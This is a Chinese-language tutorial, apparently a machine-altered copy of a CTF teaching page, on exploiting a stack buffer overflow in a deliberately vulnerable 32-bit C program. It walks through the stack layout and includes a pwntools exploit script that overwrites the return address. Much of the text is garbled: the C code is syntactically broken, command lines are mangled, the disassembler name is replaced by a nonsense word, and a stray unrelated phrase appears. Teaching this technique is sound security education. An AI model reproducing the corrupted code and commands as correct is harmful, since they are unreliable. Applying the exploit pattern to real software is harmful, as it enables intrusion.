堆栈溢出原理
介绍
堆栈溢出是指程序写入堆栈内的某个变量的字节数超过了该变量自身所请求的字节数,与其相邻的堆栈内的变量的值发生了变化。 这种问题是特定缓冲器溢出的漏洞,同样也存在堆栈溢出、bss分段溢出等溢出方式。 堆栈溢出漏洞较轻的话可以使程序崩溃,较重的话可以使攻击者控制程序的执行过程。 我们也很容易看到,发生堆栈溢出的基本前提是程序必须向堆栈写入数据。
写入的数据大小没有得到适当的控制。
基本例子
最典型的堆栈溢出利用当然是需要确认复盖程序的返回地址是攻击者控制的地址,并且该地址所在的段具有可执行权限。 举个简单的例子:
#包含
#包含
void success () puts (‘ youhavaalreadycontrolledit.’ ); }
void vulnerable (
char s[12];
gets(s;
puts(s;
返回;
}
intmain(intargc,char **argv ) )
vulnerable (;
返回0;
}
这个程序的主要目的是读取字符串并将其输出。 我想控制程序运行success函数。
使用以下命令编译此
堆栈- example gcc-m32-fno-stack-protector stack _ example.c-o stack _ example
sack _ example.c : in function‘vulnerable’:
sack _ example.c :63360: warning : implicitdeclarationoffunction‘gets’[-w implicit-function-declaration ]
gets(s;
^
/tmp/ccPU8rRA.o :在函数‘vulnerable’中:
sack_example.c:(.text0x27 ) :警告: the ` gets ‘ functionisdangerousandshouldnotbeused。
可以看出gets本身就是危险函数。 由于不检查输入字符串的长度,而是判断在回车时输入是否结束,因此容易导致堆栈溢出。 历史上,莫里斯蠕虫的第一个蠕虫利用gets这一危险函数实现了堆栈溢出。
在gcc编译指令中,-m32是指生成32位程序; -fno-stack-protector是指不打开堆栈溢出保护,也就是说不生成canary。 此外,为了更简单地说明堆栈溢出的基本使用方法,此处需要关闭位置无关紧要的扩展executable (pie ),以避免负载基地址混乱。 PIE的默认配置因gcc版本而异。 可以使用gcc -v命令确认gcc的缺省开/关。 如果包含–enable-default-PIE参数,则pie在缺省情况下处于选中状态,并且必须将-no-pie参数添加到编译命令中。
成功编译后,可以使用checksec工具检查已编译的文件。
sack-examplechecksecstack _ example
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX : NX已启用
PIE:nopie(0x8048000 )提到了编译时的pie保护,在Linux平台上还有地址空间分布随机化(ASLR )机制。 简单来说,即使可执行文件打开了PIE保护,但系统仍然需要打开ASLR才能实际扰乱基地址。 否则,程序运行时将保持加载固定基址。 但是,基地址与No PIE的情况不同。 可以通过更改/proc/sys/kernel/randomize _ va _ space来控制ASLR的启动。 具体选项为0,关闭ASLR,无随机化。 堆栈、堆和. so的基地址每次都相同。
1,普通ASLR。 堆栈基地址、mmap基地址和. so加载基地址都是随机化的,但堆基地址不是随机化的。
2、增强的ASLR在1的基础上增加了堆地址的随机化。
可以使用echo0/proc/sys/kernel/randomize _ va _ space关闭Linux系统上的ASLR。 同样,也可以配置相应的参数。
为了降低后续漏洞利用的复杂性,这里关闭ASLR,并在编译时关闭PIE。 当然,读者也可以尝试ASLR、PIE开关的不同组合,配合fddxb及其动态调试功能观察程序地址的变化情况(ASLR关闭、PIE打开时也可以成功攻击)。
确保堆栈溢出和PIE保护关闭后,使用fddxb反向编译二进制文件以验证vulnerable函数
数 。可以看到
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为
+—————–+
| retaddr |
+—————–+
| saved ebp |
ebp—>+—————–+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>+—————–+
并且,我们可以通过 fddxb 获得 success 的地址,其地址为 0x0804843B。
.text:0804843B success proc near
.text:0804843B push ebp
.text:0804843C mov ebp, esp
.text:0804843E sub esp, 8
.text:08048441 sub esp, 0Ch
.text:08048444 push offset s ; “You Hava already controlled it.”
.text:08048449 call _puts
.text:0804844E add esp, 10h
.text:08048451 nop
.text:08048452 leave
.text:08048453 retn
.text:08048453 success endp
那么如果我们读取的字符串为
0x14*’a’+’bbbb’+success_addr
那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为
+—————–+
| 0x0804843B |
+—————–+
| bbbb |
ebp—>+—————–+
| |
| |
| |
| |
| |
| |
s,ebp-0x14–>+—————–+
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x0804843B 在内存中的形式是
\x3b\x84\x04\x08
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候\,x等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了(关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process(‘./stack_example’)
success_addr = 0x0804843b
## 构造payload
payload = ‘a’ * 0x14 + ‘bbbb’ + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
执行一波代码,可以得到
➜ stack-example python exp.py
[+] Starting local process ‘./stack_example’: pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process ‘./stack_example’ stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive
可以看到我们确实已经执行 success 函数。
小总结¶
上面的示例其实也展示了栈溢出中比较重要的几个步骤。
寻找危险函数¶
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下 输入gets,直接读取一行,忽略’\x00′
scanf
vscanf
输出sprintf
字符串strcpy,字符串复制,遇到’\x00’停止
strcat,字符串拼接,遇到’\x00’停止
bcopy
确定填充长度¶
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 fddxb,根据其给定的地址计算偏移。一般变量会有以下几种索引模式 相对于栈基地址的的索引,可以直接通过查看EBP相对偏移获得
相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求 覆盖函数返回地址,这时候就是直接看 EBP 即可。
覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
覆盖 bss 忧郁的店员个变量的内容。
根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。
参考阅读¶